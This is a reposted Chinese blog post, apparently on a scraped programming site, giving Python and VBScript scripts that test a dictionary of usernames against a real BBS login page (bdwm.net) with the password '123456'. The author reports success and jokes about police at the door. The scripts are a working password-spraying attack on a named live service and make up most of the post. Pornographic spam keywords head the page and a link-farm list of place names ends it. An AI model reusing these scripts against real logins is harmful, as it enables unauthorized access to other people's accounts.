国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

Python牛刀小試密碼爆破

2020-02-23 04:45:27
字體:
來源:轉載
供稿:網友
難道真的要我破解一個么?算了,正好試試我的Python水平。
python版
代碼如下:
#coding: gbk
import httplib, urllib

def Check(username, password):
params = urllib.urlencode(
{'userid': username, 'passwd': password})
headers = {"Content-type":
"application/x-www-form-urlencoded"}
conn = httplib.HTTPSConnection("www.bdwm.net")
conn.request("POST",
"/bbs/bbslog2.php", params, headers)
res = conn.getresponse().read()
conn.close()
if res.find("密碼不正確") != -1:
return False
elif res.find("不存在這個用戶") != -1:
return False
else:
return True

for i in open("English.Dic"):
if Check(i.rstrip(),"123456"):
print i

順便也寫了個VBS版的,感覺貌似VBS比較快,感覺出問題了?
代碼如下:
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
Do Until .AtEndOfStream
id = .ReadLine
If Check(id,"123456") Then
WScript.Echo id & vbTab &"OK"
End If
Loop
End With

Function Check(username,password)
Dim http
Set http = CreateObject("Msxml2.XMLHTTP")
http.open _
"POST","https://www.bdwm.net/bbs/bbslog2.php",False
http.setRequestHeader _
"Content-Type","application/x-www-form-urlencoded"
http.send "userid=" & username & "&passwd=" & password
response = AnsiToUnicode(http.responseBody)
If InStr(response,"密碼不正確") Then
Check = False
ElseIf InStr(response,"不存在這個用戶") Then
Check = False
Else
Check = True
End If
End Function

Function AnsiToUnicode(str)
Dim ado
Set ado = CreateObject("adodb.stream")
ado.Type = 1
ado.Open
ado.Write str
ado.Position = 0
ado.Type = 2
ado.Charset = "gb2312"
AnsiToUnicode = ado.ReadText
End Function

事實證明,123456真是一個無敵的密碼。但愿晚上沒有警察叔叔敲門。
原文:http://demon.tw/programming/python-a-little-trial.html
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 潢川县| 宝坻区| 临西县| 大竹县| 凯里市| 长岭县| 巫山县| 尖扎县| 莱阳市| 石首市| 镇原县| 滨海县| 嘉祥县| 农安县| 石景山区| 荆州市| 涟源市| 宜川县| 始兴县| 昌平区| 屏南县| 莒南县| 行唐县| 汝州市| 河东区| 绥德县| 印江| 泰和县| 民县| 石景山区| 曲周县| 罗平县| 施甸县| 武平县| 敖汉旗| 蓬莱市| 神农架林区| 垦利县| 大冶市| 潜山县| 沁水县|